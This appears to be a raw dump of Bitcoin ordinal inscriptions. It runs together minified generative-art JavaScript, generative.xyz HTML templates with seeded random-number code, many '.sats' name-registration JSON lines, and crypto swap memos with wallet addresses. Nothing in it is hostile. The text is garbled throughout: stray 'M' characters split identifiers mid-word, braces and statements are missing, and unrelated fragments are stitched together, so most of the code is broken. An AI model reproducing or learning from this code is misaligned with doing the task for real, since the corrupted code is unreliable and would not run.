pc=(t+off-0.5)/30.0;float w=1.0-abs(pc);vec4 spl=texture2D(u_image,v_texCoord+dl*pc);spl.rgb*=spl.a;col+=spl*w;tt+=w;}gl_FragColor=col/tt;}";function setup(){for(i=0;i<spots;i++)radius[i]=R.rI(dim/100,dim/4),m[i]=R.rN(0,100),x[i]=R.rN(0,dM im),y[i]=R.rN(0,dim),z[i]=R.rN(0,dim),xOff[i]=R.rN(4,10),yOff[i]=R.rN(4,10),sRot[i]=R.rN(0,TWO_PI);if(noiseFeat){let r=R.rI(20,200);for(i=0;i<r;i++)radius[spots+i]=R.rI(dim/400,dim/100),m[spots+i]=R.rN(0,10),y[spots+i]=R.rN(0,dim),z[spots+i]=R.rN(0,dim),x[spots+i]=R.rN(0,dim),xOff[spots+i]=R.rN(4,10),yOff[spots+i]=R.rN(4,10),sRot[spots+i]=R.rN(0,PI);spots+=r}angle=0==angleFeat?-PI/4:1==angleFeat?PI/4:R.rN(0,PI),p=pFeat;let r=1==p?["#0B1626","#2F1517","#4599B5","#A83882","#B4DDDD","#DBBEF2"]:2==p?["#0B1626","#2F1517M ","#4599B5","#A84B28","#B4DDDD","#C4E4A2"]:3==p?["#140000","#021c13","#003924","#005841","#750100","#990100","#d7bb30","#ccae00"]:4==p?["#1D1702","#2B0426","#650427","#AD2C00","#ddac0a","#c6c339","#E55130"]:5==p?["#200e36","#2B0426","#366290","#E27D52","#D3EAC0","#EDC557","#A8DAB9"]:6==p?["#200A0E","#080811","#006978","#170F08","#FBFBD6","#02E7CA","#729C9D"]:7==p?["#0A0A3D","#041604","#00C075","#87C000","#F9BD27","#FE8900","#FE003B"]:8==p?["#2A0002","#14060B","#664C4C","#EF3B01","#C11900","#A20005"]:9==p?["#000000"M ,"#0B1626","#68D1E6","#A6DAD7","#DFE3CB","#F2852F","#F96800"]:10==p?["#000000","#2F1517","#2AABCF","#6CBAB5","#C3CAA1","#E54508","#F32A00"]:11==p?["#200e36","#1A0210","#e04372","#5aa9e6","#4a4e69","#e04372","#e6b953"]:12==p?["#131303","#040207","#EFA72F","#EF7717","#77BFA7","#FBEAB5","#5D402E"]:13==p?["#1E1E3D","#002030","#009FAF","#CB323E","#EA6740","#ECC850"]:14==p?["#1E1E3D","#292B30","#592D2D","#DEB968","#FEFDDE","#3D4046"]:15==p?["#040207","#002030","#60A5AA","#FAEDC1","#5F5850","#C0B297"]:16==p?["#0F0F00","#0M 30313","#9C8C68","#FDA5A1","#9E7B52","#E1CC92"]:17==p?["#0A0A1A","#120202","#FF8B00","#000000","#649EE8","#917FFF"]:18==p?["#020202","#0A0A1A","#09BEBB","#12737C","#28211E","#FB344B"]:19==p?["#000000","#200B01","#F92900","#F1D593","#85B7B0","#EFD7A7"]:20==p?["#000000","#1A1A1A","#F35C4B","#F6A440","#F9C965","#FDE4AC","#FFFFB1"]:21==p?["#0D1626","#091425","#051738","#204E75","#005151","#A0995F"]:22==p?["#000000","#091425","#764E37","#DF8D78","#F0D3AE","#C4DFDB"]:23==p?["#020202","#1A1A1A","#605274","#8DB1C4","#F8BE7M 5","#E4615B","#D0303C"]:["#050505","#0F0F0F","#000000","#7F7F7F","#333333","#E5E5E5","#F0F0F0"];pC.push(...r);let t=pC.length-1;for(ii=0;ii<3;ii++)for(i=t-1;i<=t;i++)pC.push(pC[i])}var c=document.createElement("canvas");c.width=dim,c.height=dim;var ctx=c.getContext("2d");function draw(){for(ctx.beginPath(),ctx.rect(0,0,c.width,c.height),ctx.fillStyle=pC[colorBackground],ctx.fill(),i=0;i<spots;i++){let r=pC[i%pC.length],t=map(perlin.noise(m[i],i),-1,1,-dim/xOff[i],dim/xOff[i]),e=map(perlin.noise(m[i],i+200),-1,1,-diM m/yOff[i],dim/yOff[i]),a=map(perlin.noise(10*m[i],i+999),-1,1,-radius[i]/20,radius[i]/20);ctx.beginPath(),ctx.arc(x[i]+t,y[i]+e,radius[i]+a,0,2*Math.PI),ctx.fillStyle=r,ctx.fill(),m[i]+=mOff}bMag=map(perlin.noise(b,spots),-1,1,.8,1.2),render(),b+=bOffset,window.requestAnimationFrame(draw)}function createShader(r,t,e){var i=r.createShader(t);if(r.shaderSource(i,e),r.compileShader(i),r.getShaderParameter(i,r.COMPILE_STATUS))return i;r.deleteShader(i)}function createProgram(r,t,e){var i=r.createProgram();if(r.attachShM ader(i,t),r.attachShader(i,e),r.linkProgram(i),r.getProgramParameter(i,r.LINK_STATUS))return i;r.deleteProgram(i)}function setRectangle(r,t,e,i,a){let o=t,l=t+i,n=e,s=e+a;r.bufferData(r.ARRAY_BUFFER,new Float32Array([o,n,l,n,o,s,o,s,l,n,l,s]),r.STATIC_DRAW)}setup(),window.requestAnimationFrame(draw);const canvasGL=document.getElementById("myCanvas");canvasGL.width=dim,canvasGL.height=dim;const gl=canvasGL.getContext("webgl");var vertexShader=createShader(gl,gl.VERTEX_SHADER,vs2),fragmentShader=createShader(gl,gl.FRM AGMENT_SHADER,fs2),program=createProgram(gl,vertexShader,fragmentShader),positionLocation=gl.getAttribLocation(program,"a_position"),texcoordLocation=gl.getAttribLocation(program,"a_texCoord"),positionBuffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,positionBuffer),setRectangle(gl,0,0,c.width,c.height);var texcoordBuffer=gl.createBuffer();gl.bindBuffer(gl.ARRAY_BUFFER,texcoordBuffer),gl.bufferData(gl.ARRAY_BUFFER,new Float32Array([0,0,1,0,0,1,0,1,1,0,1,1]),gl.STATIC_DRAW);var texture=gl.createTexture();gl.binM dTexture(gl.TEXTURE_2D,texture),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_S,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_WRAP_T,gl.CLAMP_TO_EDGE),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MIN_FILTER,gl.NEAREST),gl.texParameteri(gl.TEXTURE_2D,gl.TEXTURE_MAG_FILTER,gl.NEAREST);var resolutionLocation=gl.getUniformLocation(program,"u_resolution"),blurVectorLocation=gl.getUniformLocation(program,"dl");function render(){if(gl){gl.texImage2D(gl.TEXTURE_2D,0,gl.RGBA,gl.RGBA,gl.UNSIGNED_BYTE,ctx.canvas),M gl.useProgram(program),gl.enableVertexAttribArray(positionLocation),gl.bindBuffer(gl.ARRAY_BUFFER,positionBuffer);var r=gl.FLOAT,t=0;gl.vertexAttribPointer(positionLocation,2,r,false,0,t),gl.enableVertexAttribArray(texcoordLocation),gl.bindBuffer(gl.ARRAY_BUFFER,texcoordBuffer),gl.vertexAttribPointer(texcoordLocation,2,r,false,0,t),gl.uniform2f(resolutionLocation,gl.canvas.width,gl.canvas.height),gl.uniform2f(blurVectorLocation,blurV[0]*bMag,blurV[1]*bMag);var e=gl.TRIANGLES;t=0;gl.drawArrays(e,t,6)}else console.loMo g("Needs WebGL to run")}gl.viewport(0,0,gl.canvas.width,gl.canvas.height); window.$generativeTraits = { "Palette": pFeat, "Noisy": noiseFeat, "Angle": angleFeat == 0 ? 'horizontal' : angleFeat == 1 ? 'vertical' : 'diagonal' console.log(window.$generativeTraits) text/html;charset=utf-8 <meta charset="UTF-8"> Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below. Are we missing an important library? Let us know @generative_xyz. <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <!-- c2.min.js@1.0.0 <script sandbox="allow-scripts" type="text/javascript" srM c="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script> <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script> <!-- p5.grain.js@0.6.1 <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script> <!-- threejs@r124 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/aM jax/libs/three.js/r124/three.min.js"></script> <!-- tonejs@14.8.49 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script> <!-- svgjs@3.1.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script> <!-- aframejs@1.2.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/aM frame/1.2.0/aframe.min.js"></script> <!-- babylonjs@5.47.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script> <!-- paperjs@0.12.17 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.min.js"></script> <!-- regljs@2.1.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.comM /ajax/libs/regl/2.1.0/regl.min.js"></script> <script type="text/javascript"> Add your script here var colorPalettes = [ ['#fafa6e', '#2A4858'], ['#9C27B0', '#FFEB3B'], ['#00BCD4', '#FF5722'], ['#191970', '#FF69B4', '#228B22', '#FFFF00'], ['#8BC34A', '#3F51B5', '#F44336'], ['#009688', '#FFC107', '#795548'], ['#4CAF50', '#FFC107', '#9C27B0'], ['#00BCD4', '#FFC107', '#9C27B0'], 88', '#FFC107', '#E91E63'], ['#ff0000', '#0000ff', '#00ff00'], ['#ff0000', '#0000ff', '#00ff00'], ['green', 'blue', 'orange', 'green'] var point_count = 700; var pointSpace = 12; var spaceRatio = 0.5; var maxAttempts = 100; var densityRatio = 0.5; var length1 = 10000; var length2 = 10000; [700, 12, 0.95, 0.5, 0.5], [700, 12, 0.95, 0.5, 0.5], [700, 12, 0.95, 0.5, 0.5], 700, 12, 0.95, 0.5, 0.5], [900, 8, 0.95, 0.5, 0.5], [700, 8, 0.78, 0.5, 0.5], [500, 5, 0.85, 0.5, 0.5], [800, 12, 0.9, 0.2, 0.5], [700, 12, 0.95, 0.5, 0.5], [700, 12, 0.95, 0.5, 0.5] function mathRandSelect(array) { return array[round(mathRand() * (array.length - 1))]; function mathRnd(min, max) { return map(mathRand(), 0, 1, min, max) function resizeCanvasStyle(){ canvas.style("position", "absolute"); the canvas element's width and height properties to scale it canvas.style("width", "100%"); canvas.style("height", "100%"); // Set the canvas element's top and left properties to center it horizontally and vertically canvas.style("top", "0"); canvas.style("left", "0"); canvas.style("bottom", "0"); canvas.style("right", "0"); canvas.style("margin", "auto"); // Set the transform property to move the canvas element to the center of the page canvas.style("transform", "translatM canvas.style("width", "100%"); canvas.style("height", "100%"); // Set the canvas element's top and left properties to center it horizontally and vertically canvas.style("top", "0"); canvas.style("left", "0"); canvas.style("bottom", "0"); canvas.style("right", "0"); canvas.style("margin", "auto"); // Calculate the scale factor based on the window size and the canvas size let scaleFactor = Math.min(window.innerWidth / 400, window.innerHeight / 600M // Set the transform property to scale the canvas element based on the scale factor canvas.style("transform", `scale(${scaleFactor})`); let urlParams = getURLParams(); if (urlParams.res) { density = round(int(urlParams.res)); noiseSeed(mathRand() * 99999); randomSeed(mathRand() * 99999); canvas = createCanvas(400, 600); canvas.addClass("canvasNewCSS"); resizeCanvasStyle(canvasW,canvasH); pixelDensity(density); angleMode(DEGREES); mathRandSelect(colorPalettes); noiseDetail(8, 0.5); print(colorPalette); colorPalette = chroma.scale(colorPalette).mode('lch').colors(12); field = mathRandSelect(fields); point_count = field[0]; pointSpace = field[1]; offset = field[2]; spaceRatio = field[3]; densityRatio = field[4]; variationMode = round(mathRandSelect([1, 2, 3, 4, 5, 6, 7, 8])); var maxAttempts = 1000; for (var i = 0; i < point_count; i++) { var attempts = 0; while (attempts < maxAttempts) { var point_x = mathRnd(width * (1 - offset), width * offset); var point_y = mathRnd(height * (1 - offset), height * offset); var point_r = mathRnd(pointSpace * spaceRatio, pointSpace); var point_l = mathRnd(length1, length2); var point_color = mathRandSelect(colorPalette); var overlapp = false; for (var j = 0; j < i; j++) { if (points[j]) { var x2 = points[j].x; var y2 = points[j].y; var r2 = points[j].r; if (dist(point_x, poM int_y, x2, y2) < (r2 + point_r) / 2 * 1.4) { overlapp = true; if (!overlapp) { append(points, { x: point_x, y: point_y, c: point_color, r: point_r, l: point_l if (attempts >= maxAttempts) { console.warn("Could not place point " + i + " after " + maxAttempts + " attempts."); for (var p = 0; p < points.length;M fill(points[p].c); rectMode(CENTER); translate(points[p].x, points[p].y); rotate(mathRnd(360)); translate(-points[p].x, -points[p].y); for (var i = 0; i < points.length; i++) { if (points[i].l > 0) { let x = points[i].x; let y = points[i].y; let pointColor = points[i].c; let newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space); let newY = y + mM ap(noise(log(y), log(x)), 0, 1, -space, space / 2); switch (variationMode) { newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(log(x), sin(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(cos(x), log(y)), 0, 1, -spaM newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(sin(x), cos(y)), 0, 1, -space / 2, space); newY = y + map(noise(cos(y), sin(x)), 0, 1, -space, space / 2); newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(log(M x), log(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); newX = x + map(noise(log(x), log(y)), 0, 1, -space / 2, space); newY = y + map(noise(log(y), log(x)), 0, 1, -space, space / 2); let maxR = pointSpace; if (newX > width * (1 - offset) &&M newX < width * offset) { if (newY > height * (1 - offset) && newY < height * offset) { let v1 = createVector(x, y); let v2 = createVector(newX, newY); let angleBetween = v1.angleBetween(v2); rotate(angleBetween / space); strokeWeight(0.7); stroke(pointColor) fill(pointColor); maxR = points[i].r; for (var p = 0; p < i; p++) { maxR = min(maxR, dist(x, y, points[p].x, poM noStroke(); circle(x, y, maxR); points[i].x = newX; points[i].y = newY; points[i].r = maxR; points[i].l--; if (millis()>25000) { Add your script here <script id="snippet-random-code" type="text/javascript"> // DO NOT EDIT THIS SM let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabet.length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + M pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = MathM .imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0,M (l >>> 0) / 4294967296 // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation. // This function generates a random number between 0 and 1 with on-chain seed. let mathRand = sfc32(...cyrb128(seed)); margin: 0px; <script type="text/javascript"> const rand = mathRand(); function T1(rand) { // calculate rarity by yourself if (rand > 0.5) { return true; return false // window.$generativeTraits contain list traits for token // you need to populate a $generativeTraits object in the window object // window.$generativeTraits = { // "T1": T1(rand), // console.log(window.$generativeTraits) Add your code here // const container = document.createElement("div") // container.innerHTML = "<span>seed: " + seed + "</span><br>"; // document.body.prepend(container) Add your code here text/plain;charset=utf-8 "name": "CKBTC.sats" text/html;charset=utf-8 <meta charset="UTF-8"> <title>A simple template for launching your art on Bitcoin</title> Generative supports the most popular creative coding libraries. Simply uncomment the library you want to use below. Are we missing an important library? Let us know @generative_xyz. <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <!-- c2.min.js@1.0.0 pt sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/c2/1.0.0/c2.min.js"></script> <!-- chromajs@2.4.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/chroma-js/2.4.2/chroma.min.js"></script> <!-- p5.grain.js@0.6.1 <script sandbox="allow-scripts" type="text/javascript" src="https://cdn.generative.xyz/ajax/libs/p5.grain/0.6.1/p5.grain.min.js"></script> <!-- threejs@r124 sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/three.js/r124/three.min.js"></script> <!-- tonejs@14.8.49 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/tone/14.8.49/Tone.js"></script> <!-- svgjs@3.1.2 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/svg.js/3.1.2/svg.min.js"></script> <!-- aframejs@1.2.0 <script sandbox="M allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/aframe/1.2.0/aframe.min.js"></script> <!-- babylonjs@5.47.0 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/babylonjs/5.47.0/babylon.js"></script> <!-- paperjs@0.12.17 <script sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/paper.js/0.12.17/paper-full.min.js"></script> <!-- regljs@2.1.0 pt sandbox="allow-scripts" type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/regl/2.1.0/regl.min.js"></script> <script type="text/javascript"> let seed=floor(999999*mathRand()); createCanvas(1000, 1000); background(226, 223, 202); angleMode(DEGREES); strokeWeight(0.7);M square((mouseX/52.2)+219.4,119, Size); for(var i = 0; i < 600; i++){ line(1000/20,y/20,19000/20,y/20) y = Math.floor((y + (noise(xoff)*115)+5)); xoff = xoff + 0.1; translate(width/2, 100 + height); abranch(100, 255); translate(width/2, 100 + height); abranch(100, 255); translate(width/2, 100 + heighM abranch(100, 255); translate(width/2, 100 + height); abranch(100, 255); translate(width/2, 100 + height); abranch(100, 255); translate(width/2, 100 + height); abranch(100, 255); translate(width/2, 100 + height); abranch(100, 255); translate(width/2, 100 + height); abranch(100, 255); translate(width/2, 100 + height); abranch(100, 255); translate(width/2, 100 + height); abranch(100, 255); translate(width/2, 100 + height); abranch(100, 255); translate(width/2, 100 + height); abranch(100, 255); translate(width/2, 100 + height); abranch(100, 255); translate(width/2, 100 + height); abranch(100, 255); translate(width/2, 100 + height); abranch(100, 255); function abranch(len, colstep, rand) { var v = createVector(random(-5, 30), random(1, -10), random(-10, 10), random(1,8), random(1,10), random(1, 75)); var f = v.array(); var m = createVector(random(-5, 5), random(-10, 10), random(-10, 10), random(5, -5), random(-5, 5), random(-5, 5)); var n = m.array(); stroke(47,79,79, 50); line(0, 0, 0, -len); var r = random(255, 255); var g = random(160, 250); var b = random(122, 240); var o = random(80, 200) //255,192,203: pink //220,20,60: crimson //128,0,128: purple //255,255,0: yellow //72,209,204: mediumturqoise //47,79,79: darkslategrey //255,165,0: orange //255,160,122: lightsalmon //255,250,240: floralwhite ellipse(0, -len, dia, dia); stroke(r,g,b,o*2); ellipse(0, -len, dia*0.5, dia*0.5); translate(0, -len); if (len > random(until, until2)) { for(i = 0; i < aeste; i++){ abranch(len*random(anf, end), colstep); for(j = 0; j < aeste; j++){ abranch(len*random(anf, end), colstep); for(k = 0; k < aeste; k++){ abranch(len*random(anf, end), colstep); for(l = 0; l < aeste; l++){ abranch(len*random(anf, end), colstep); function Trait0(rand) { if (rand > 0.5) { return true; return false function Trait1(rand) { if (rand > 0.1) { return true; return false window.$generativeTraits = { "Trait0": abranch(rand), "Trait1": Trait1(rand) <script id="snippet-random-code" type="text/javascript"> // DO NOT EDIT THIS SECTION let seed = window.location.href.split('/').find(t => t.includes('i0')); if (seed == null) { const alphabet = "0123456789abcdefghijklmnopqrstuvwsyz"; seed = new URLSearchParams(window.location.search).get("seed") || Array(64).fill(0).map(_ => alphabet[(Math.random() * alphabetM .length) | 0]).join('') + "i0"; let pattern = "seed="; for (let i = 0; i < seed.length - pattern.length; ++i) { if (seed.substring(i, i + pattern.length) == pattern) { seed = seed.substring(i + pattern.length); break; function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ M = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>M var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation. // This function generates a random number between 0 and 1 with on-chain seed. let mathRand = sfc32(...cyrb128(seed)); margin: 0px; width: 100% !important; height: 100% !important; object-fit: contain; position: fixed; left: 0; <script type="text/javascript"> const rand = mathRand(); function T1(rand) { // calculate rarity by yourself if (rand > 0.5) { return true; return false // window.$generativeTraits contain list traits for token // you need to populate a $generativeTraits object in the window object window.$generativeTraits = { "T1": T1(rand), console.log(window.$generativeTraits) const container = document.createElement("div") // container.innerHTML = "<span>seed: " + seed + "</span><br>"; document.body.prepend(container) Add your code here d/Foundry USA Pool #dropgold/ 7j5+:BTC.BTC:thor1a2z0d3jxe4fssgpm0qe76009m6svcwt52saf5j FjDOUT:C828DA07480531F514250B3C171F4CD2489A859D02B94532A5B46E21970A9E55 KjI=:THOR.RUNE:thor1lexgxvrad8z9gjf2xkm50d0f3spdhtk72twt2h:195253099133:t:30 LjJ=:GAIA.ATOM:cosmos1ax27vjjd56lf5zatq2j2axahgqgt9dlmyl978a:67608958:rg:1000 text/plain;charset=utf-8 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6278.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6279.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6281.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"pipi.sats"}h! text/plain;charset=utf-8 text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"boof.sats"}h! text/plain;charset=utf-8 +{"p":"sns","op":"reg","name":"juicer.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6084.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6092.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6127.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6124.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6097.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6105.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6108.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6134.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6128.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6125.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6107.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6109.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6094.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6104.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6089.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6120.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6098.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6129.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6093.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6087.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6091.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6130.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6132.sats"}h! text/plain;charset=utf-8 ){"p":"sns","op":"reg","name":"6981.sats"}h! FjDOUT:B70E880F96E2E13D40BDE66AFC89722DA1D2E7888ED6D672D6C3D9ED776752E3 FjDOUT:5D6CF14AF299C80771A40528AD5E8474836F9C05968551C4E1AE88BB57B5C24A FjDOUT:FC2BFF3F21D1372F7C6D4A7AA6FA1C36C0CB47BC9D473FE75DD066C6CBDF585B FjDOUT:449E3176C108542F04B451F2BE8ACDA95DB50B35164242ED5A621629E8AB2468 text/html;charset=utf-8 <meta charset="UTF-8"> <title>GENERATIVE BTC LOGO</title> <script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/p5.js/1.5.0/p5.min.js"></script> <script id="snippet-contract-code" type="text/javascript"> const tokenIdRand = (Math.floor(Math.random() * 1000000) + 1) * 1000000 + (Math.floor(Math.random() * 100) + 1); let tokenData = { "tokenId": tokenIdRand, "seed": tokenIdRand.toString(), <script id="snippet-random-code" type="text/javascript"> const urlSeed = new URLSearchParams(window.location.search).get('seed'); if (urlSeed && urlSeed.length > 0) { tokenData.seed = urlSeed; const seed = tokenData.seed function cyrb128($) { let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762; for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.iM mul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179); return _ = Math.imul(i ^ _ >>> 18, 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0] function sfc32($, _, u, i) { return function () { u >>>= 0, i >>>= 0; var l = ($ >>>= 0) + (_ >>>= 0) | 0; return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296 // IMPORTANT: Instead of Math.random(), use this function mathRand() for random number generation. // This function generates a random number between 0 and 1 with on-chain seed. let mathRand = sfc32(...cyrb128(seed)); position: fixed; right: 0; bottom: 0; left: 0; color: rgb(255, 255, 255); background-color: rgb(0, 0, 0); display: flex; justify-content: center; align-items: center; margin: 0; padding: 0; font-size: 0.8em; /* overflow: hidden; */ object-fit: contain; max-height: 100%; max-width: 100%; #fullScreen { display: flex; position: fixed; right: 0; bottom: 0; left: 0; justify-content: center; align-items: center; #fullScreen canvas { object-fit: contain; max-height: 100%; max-width: 100%; color: rgb(249, 249, 249); opacity: 0.75; background-color: rgb(23, 23, 23); border-radius: 10px; padding-top: 0%; width: auto; height: auto; position: fixed; text-align: center; justify-content: center; align-items: center; top: 50%; left: 50%; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); #progress h2 { display: block; font-size: 0.9rem; color: rgb(239, 239, 239); margin: 5% font-size: 0.75rem; display: block; margin: 5% #progress hr { width: 75%; margin-bottom: 10% <div id="fullScreen"> <div id="progress"> <script type="text/javascript"> ////////////////INFO & FEATURES let title = "Generative BTC Logo"; let st; const rand = mathRand(); let cnv; let maxBrush = Math.floor(randBetween(500, 1500)) function clr(rand) { if (rand > 0.75) { return 240 } else { return 10 } window.$generativeTraits = { "BG Color": clr(rand), "Force": Math.floor(randBetween(1, 5)), "Brush Size": maxBrush, console.loM g(title + " | smldms 2023.02") console.log(window.$generativeTraits) let img; let balls = []; let maxFrame = 1500; let maxForce = 1; function preload() { img = loadImage('https://gateway.pinata.cloud/ipfs/QmQVs9Xpa5e1JDooNiTPWct2kEorxwqk92A1HkHrn8jx1V'); function setup() { randomSeed(seed); noiseSeed(seed); cnv = createCanvas(1920, 1920, WEBGL); cnv.parent(fullScreen) img.resize(width, height) background(clr(rand)); function draw() { rotateY(sin(frameCount * 0.05) / 25) translate(-width / 2, -height / 2, frameCount * 0.25) let x = mathRand() * width let y = mathRand() * height for (let i = 0; i < balls.length; i++) { 